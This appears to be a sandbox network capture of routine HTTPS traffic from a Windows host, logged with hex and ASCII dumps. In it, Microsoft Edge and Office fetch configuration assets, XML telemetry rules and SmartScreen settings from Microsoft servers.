2024-11-28 05:48:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:32 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 3fc8b732-401e-0083-1091-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054832Z-174f78459688l8rvhC1EWRtzr00000000ahg00000000bzhh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:32 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49811	13.107.246.40	443	7628	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:33 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 05:48:34 UTC	576	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:33 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: e1bd38c5-801e-0032-6b7f-4030d7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T054833Z-174f78459685726chC1EWRsnbg0000000xyg00000000hbh1 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 05:48:34 UTC	15808	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-28 05:48:34 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-11-28 05:48:34 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-11-28 05:48:34 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-11-28 05:48:34 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:34 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:34 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: f5817373-b01e-003e-3591-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054834Z-174f7845968swgbqhC1EWRmnb40000000y5g000000007488 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:34 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:34 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:34 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f5c4af5a-301e-005d-6385-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054834Z-174f784596886s2bhC1EWR743w0000000y50000000000tup x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:34 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:34 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:34 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: b18988de-c01e-0079-2891-3fe51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054834Z-174f7845968zgtf6hC1EWRqd8s0000000qw000000000fvht x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:34 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:34 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:34 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: b254496e-901e-0016-2991-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054834Z-174f7845968zgtf6hC1EWRqd8s0000000qvg00000000fqua x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:34 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49818	13.107.246.40	443	7628	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:34 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 05:48:35 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:34 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: cad89b3e-501e-005d-73ed-409803000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T054834Z-174f7845968vqt9xhC1EWRgten0000000xyg00000000frvx Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 05:48:35 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49823	4.249.200.148	443	7628	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:35 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 725 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiVjZUZnpDYzc0RjBqV3VBV3I2T01XZz09IiwgImhhc2giOiIrNnpvakhvTTc0Yz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-28 05:48:35 UTC	725	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-28 05:48:35 UTC	302	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:35 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:a302ffdc-66e2-4f15-929a-164afd2d2584
2024-11-28 05:48:35 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-28 05:48:36 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 